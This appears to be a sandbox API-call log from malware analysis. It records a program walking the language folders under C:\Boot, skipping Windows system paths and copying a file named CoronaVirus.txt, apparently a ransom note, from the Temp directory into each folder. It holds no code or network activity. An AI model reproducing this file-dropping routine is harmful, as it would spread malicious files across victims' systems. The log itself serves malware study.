	[0083.536] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb25b466, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb25b466, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.536] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.536] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.536] malloc (_Size=0x1000) returned 0x2f4e678
	[0083.537] _swprintf (in: param_1=0x2f4e678, param_2="%s\\%s" | out: param_1="C:\\Boot\\sr-Latn-RS\\CoronaVirus.txt") returned 34
	[0083.537] wcsstr (_Str="C:\\Boot\\sr-Latn-RS\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.537] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb25b466, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb25b466, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.537] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0083.537] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0083.537] wcsncmp (_String1="s", _String2=".", _MaxCount=0x1) returned 69
	[0083.537] wcsncmp (_String1="sv", _String2="..", _MaxCount=0x2) returned 69
	[0083.537] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\sv-SE") returned 13
	[0083.537] wcsncmp (_String1="C:\\Boot\\s", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.537] wcsstr (_Str="C:\\Boot\\sv-SE", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.537] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\sv-SE\\CoronaVirus.txt" (normalized: "c:\\boot\\sv-se\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.541] _alloca_probe () returned 0x4036d0
	[0083.541] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x316583c*="sv-SE") returned 0xd
	[0083.541] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb25b466, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0083.541] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.541] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb25b466, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.541] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.541] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.541] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.541] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.541] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb25b466, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb25b466, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.541] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.541] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.541] malloc (_Size=0x1000) returned 0x2f4f680
	[0083.541] _swprintf (in: param_1=0x2f4f680, param_2="%s\\%s" | out: param_1="C:\\Boot\\sv-SE\\CoronaVirus.txt") returned 29
	[0083.541] wcsstr (_Str="C:\\Boot\\sv-SE\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.541] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.541] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.541] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.541] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.541] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0083.542] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0083.542] wcsncmp (_String1="t", _String2=".", _MaxCount=0x1) returned 70
	[0083.542] wcsncmp (_String1="tr", _String2="..", _MaxCount=0x2) returned 70
	[0083.542] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\tr-TR") returned 13
	[0083.542] wcsncmp (_String1="C:\\Boot\\t", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.542] wcsstr (_Str="C:\\Boot\\tr-TR", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.542] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\tr-TR\\CoronaVirus.txt" (normalized: "c:\\boot\\tr-tr\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.544] _alloca_probe () returned 0x4036d0
	[0083.544] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x316583c*="tr-TR") returned 0xd
	[0083.544] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb2816b5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0083.544] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.544] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb2816b5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.544] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.544] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.544] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.544] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.544] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2816b5, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb2816b5, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.544] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.544] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.545] malloc (_Size=0x1000) returned 0x2f50688
	[0083.545] _swprintf (in: param_1=0x2f50688, param_2="%s\\%s" | out: param_1="C:\\Boot\\tr-TR\\CoronaVirus.txt") returned 29
	[0083.545] wcsstr (_Str="C:\\Boot\\tr-TR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.545] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.545] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.545] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.545] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.545] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
	[0083.545] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0083.545] wcsncmp (_String1="u", _String2=".", _MaxCount=0x1) returned 71
	[0083.545] wcsncmp (_String1="uk", _String2="..", _MaxCount=0x2) returned 71
	[0083.545] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\uk-UA") returned 13
	[0083.545] wcsncmp (_String1="C:\\Boot\\u", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.545] wcsstr (_Str="C:\\Boot\\uk-UA", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.545] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\uk-UA\\CoronaVirus.txt" (normalized: "c:\\boot\\uk-ua\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.548] _alloca_probe () returned 0x4036d0
	[0083.548] GetFullPathNameW (in: lpFileName="C:\\Boot\\uk-UA", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\uk-UA", lpFilePart=0x316583c*="uk-UA") returned 0xd
	[0083.549] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb2816b5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600b90
	[0083.549] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.549] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb2816b5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.549] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.549] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.549] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.549] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.549] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2816b5, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb2816b5, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.549] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.549] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.549] malloc (_Size=0x1000) returned 0x2f51690
	[0083.549] _swprintf (in: param_1=0x2f51690, param_2="%s\\%s" | out: param_1="C:\\Boot\\uk-UA\\CoronaVirus.txt") returned 29
	[0083.549] wcsstr (_Str="C:\\Boot\\uk-UA\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.549] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2816b5, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb2816b5, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.549] FindClose (in: hFindFile=0x600b90 | out: hFindFile=0x600b90) returned 1
	[0083.549] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x0, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0083.549] wcsncmp (_String1="u", _String2=".", _MaxCount=0x1) returned 71
	[0083.549] wcsncmp (_String1="up", _String2="..", _MaxCount=0x2) returned 71
	[0083.549] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0083.549] wcsncmp (_String1="z", _String2=".", _MaxCount=0x1) returned 76
	[0083.549] wcsncmp (_String1="zh", _String2="..", _MaxCount=0x2) returned 76
	[0083.549] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-CN") returned 13
	[0083.549] wcsncmp (_String1="C:\\Boot\\z", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.549] wcsstr (_Str="C:\\Boot\\zh-CN", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.549] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\zh-CN\\CoronaVirus.txt" (normalized: "c:\\boot\\zh-cn\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.552] _alloca_probe () returned 0x4036d0
	[0083.552] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x316583c*="zh-CN") returned 0xd
	[0083.552] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb2816b5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600750
	[0083.552] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.552] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb2816b5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.552] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.552] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.553] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.553] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.553] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2816b5, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb2816b5, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.553] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.553] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.553] malloc (_Size=0x1000) returned 0x2f52698
	[0083.553] _swprintf (in: param_1=0x2f52698, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-CN\\CoronaVirus.txt") returned 29
	[0083.553] wcsstr (_Str="C:\\Boot\\zh-CN\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.553] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.553] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.553] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.553] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.553] FindClose (in: hFindFile=0x600750 | out: hFindFile=0x600750) returned 1
	[0083.553] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
